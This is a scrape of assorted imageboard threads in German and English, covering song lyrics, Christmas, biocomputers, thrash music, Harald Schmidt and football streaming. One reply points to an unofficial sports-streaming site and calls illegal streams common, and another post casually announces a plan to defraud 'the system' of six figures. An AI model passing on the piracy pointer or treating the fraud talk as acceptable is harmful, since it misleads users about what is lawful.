>>23478 "Riding Sotgun" bedeutete im Kutschbock zu sitzen und die angreifenden Indianer abzuschießen.
>>23404 Da kannst du reinschauen: https://www.arte.tv/de/videos/119022-000-A/der-baum-der-authentizitaet/ >Aninagin Danke für den Tipp
>>23493 >>23406 Keiner kann mir erzählen, dass das WIRKLICH authentische Geräusche sein sollen.

Musikfaden Bernd 2025-12-15 05:13:33 Nr. 23516 Antworten
"Mit ein wenig Text"-Edition Man sagt ich schreie nachts Laut und wild Ausdruck einer Wut Die selbst in dieser Welt Keinen Platz hat Man sagt ich schreie nachts Laut und wild usw. usf. Bernd möchte Bernd an Musik teilhaben lassen, ohne den Radiofaden zu überfluten. Welche Lieder und Texte mag Bernd?
Wenn ich aufsteh ist es dunkel Für mich scheint die Sonne nicht Und ich fahr in meinen Bunker Und beginne meine Schicht Manchmal schau ich aus’m Fenster Doch da draussen ist es grau Um mich seh ich nur Gespenster Doch ein Gespenst das bin auch
>>23522 Soyak-Zeigen bei 01:08
Bernd mag lieber das Original, von dem sich alle kräftig bedienen.

Bernd 2025-12-05 23:54:01 Nr. 22099 Antworten
Bernd, bedeutet dir Weihnachten etwas? Mir nicht. Die "Festtage" und die "Stille Zeit" und das "Zwischen den Jahren" waren immer ein einziger Horror. Das erste Jahr in dem ich Weihnachten und Neujahr im Ausland verbrachte und den Scheiß nicht mitmachen musste war eine Erlösung. Seitdem mache ich das jedes Jahr so.
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>>23521 >war Warum jetzt nicht mehr?
>>23523 >>23521 ist erwachsen geworden. Opa war immer der Weihnachtsmann, also ist Weihnachten nur eine Fiktion.
>>22395 Unbedruckte Verpackung ergibt Sinn, weil es keinen Grund gab den Artikel zu bewerben. Die Preise waren fixiert und Unternehmen standen nicht wirklich in Konkurrenz. Durch knappe Ressourcen wurde außerdem an jeder Ecke gespart. Tausch am besten mal die Tülle am Boden der Pyramide aus und schleif die Spitze der Achse wieder scharf. Ein Tropfen Öl oder Schmiere in der Tülle kann den Widerstand der Pyramide auch verringern. Bernd hat eine handgeschnitzte Pyramide. Die dreht sich auch mit einer Kerze (hat zwei Lichtertüllen).
>>22099 Erst, wenn ich bei der Familie bin. Neulich wurde die Innenstadt abgesperrt weil zu voll. Da kommt keine Stimmung rüber. Klar, Weihnachtsmarkt mitten in der Woche, wo kaum jemand unterwegs ist, ist auch stimmungsvoll. Aber ich habe das permanente Gefühl, gerade 20-30 NG zu verfressen und versaufen.
>>22103 >Schnee, wenn er nicht wochenlang liegt und braune Pampe wird Was für ein Zeug? In grauer Vorzeit hab ich da mal von gehört... Das wichtigste an Weihnachten ist die Weihnachtsfolge von Redlettermedia Best of the Worst.

it Bernd 2025-12-14 05:39:01 Nr. 31607 Antworten
They are now using human neurons as neural networks inside purpose-made biocomputers. Great innovation or horrors behind our comprehension?
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>>31732 Just watch the video. It's got tiny artificial lungs, kidneys etc. It's a baby in a box. :)
Becoming as an immortal digital energy being is kinda the endgoal, isn't it? At least that's what I'm aiming for here, maybe an AI clone/child that inherits my assets to compound them forever.
>>31614 >you prolly wouldn’t be able to play counter strike on it so why bother It would solve the power-problem of modern AI which the US is hurtling into a crunch on.
>>31784 And so man created himself anew, this time as a slave. Nothing ever changes.

us Music Thread 3: Thrash Edition Bernd 2025-12-01 12:54:57 Nr. 27065 Antworten Letzte 50
Prev: >>16157 Share any/all of your favorite bands/music/songs. Doesn't matter the genre so long as you're sharing and responding.
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Put your hands where I can see them I decide if you need them Close my eyes and I can feel when Precious lives are cheapened Who is your favorite toy? Who is your favorite toy? In the end times There's just no use to be nice We're running out of time Gonna make you mine You fell In love so quickly again Is it entirely genuine? In the end times There's just no use to be nice We're running out of time Gonna make you mine Who is your favorite toy? Who is your favorite toy? Who is your favorite toy? Who is your favorite toy? Fell in love so quickly again Fell in love so quickly again Fell in love so quickly again Fell in love so quickly again
What’s the perfect length of a song? I’d argue it’s somewhere around 4 minutes. I avoid anything below three minutes.
>>31304 There is no perfect length. Songs should go for as long as they need too.
In the vein of Heavy Oi! bands like Battle Ruins and Live by the Sword comes Storm of Steel: https://rebellionrecords.bandcamp.com/album/s-t-9

mow Bernd 2025-12-15 00:47:18 Nr. 31878 Antworten
Where can I watch live Dutch premier league and Belgian pro league live online in Dutch language?
https://strmd.link/ idk about Dutch and Belgian but this one seems to have most stuff
legal in DAZN or Sky. Illegal literally everywhere. Just Yandex it.

tx Bernd 2025-12-13 18:39:47 Nr. 31489 Antworten

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Who is the closest Bernd to you? There is currently a Bernd on kohlchan in Oklahoma just 180km away :D
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>>31894 >where can I post my drawings now? On a slow board made specifically for bernd art. https://krautchan.rip/oc
>>31597 >waco Nahhh I’m good fam

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>>31907 I want to purr~ and meow on you like a bearcat <3
>>31907 We’re do I vote for underrated post of the month.
>>31910 If you vote, it's not underrated anymore, is it? This imageboard is free of logical fallacies.

eng Bernd 2025-12-14 15:19:19 Nr. 31723 Antworten
Should we crowdfund a trip to Britain for Nancy and igor?
Kohl should, not us.
Only if it's a one way trip. Vive le Canada libéré d'Igor!
>he doesn't use AdBlock on Firefox Android

Bernd 2025-11-09 09:59:54 Nr. 17925 Antworten

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Du Bernd und Ernst, in welchem Jahr erreichte Harald Schmidt seinen Zenit. War es anfang 90er mit Feuerstein bei "Schmidteinander"? War es die HSS bei Sat1? Oder sind es gar seine heutigen Podcast-Auftritte und Radio-Interviews, die seinesgleichen suchen? Für diesen Bernd war es altersbedingt die Harald Schmidt Show, wo er die Grenzen des Sagbaren auslotete.
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>>18197 Irgendwie klingt deine Frage nicht ernstgemeint.
Früher war Bernd etwas zu jung für die Harald-Schmidt-Schau, heute würde er es lieben. Sehr schade, dass es sowas nicht mehr gibt!
DamalsBernd ist Abends extra lange wach geblieben um die Harald Schmidt Show zu glotzen, damit er dann am nächsten Tag in der Schule die tollsten Witze weitererzählen kann.
>>18348 Mitt-40er-Bernd hat das als Jugendlicher abends immer angeschaut. (Ich hatte damals schon einen eigenen Fernseher im Kinderzimmer!) Man mochte die Sendung oder halt nicht und das war's. Gute Zeiten, vielleicht kommt sowas mal wieder.

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Zum Glück lässt sich Harald weiterhin einladen worauf seine Ergüsse dann auf DuRöhre landen

at Bernd 2025-12-13 18:09:39 Nr. 31477 Antworten
Basically my plan. 1. Scam 100-200k out of the system 2. Buy a solid boat, preferably metal 3. Hope it lasts for 10-15 years If I live that long I'll be 50 anyway. Any questions?
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>>31499 >>31503 you could earn 100k with honest work but considering these posts it makes more sense
>>31871 there was some legal battle when authorities refused to let her go on that trip
>>31477 https://edramatica.com/Sea_Org These cats got you fam.
>>31871 Why? She has plenty of time for reading and algebra on a ship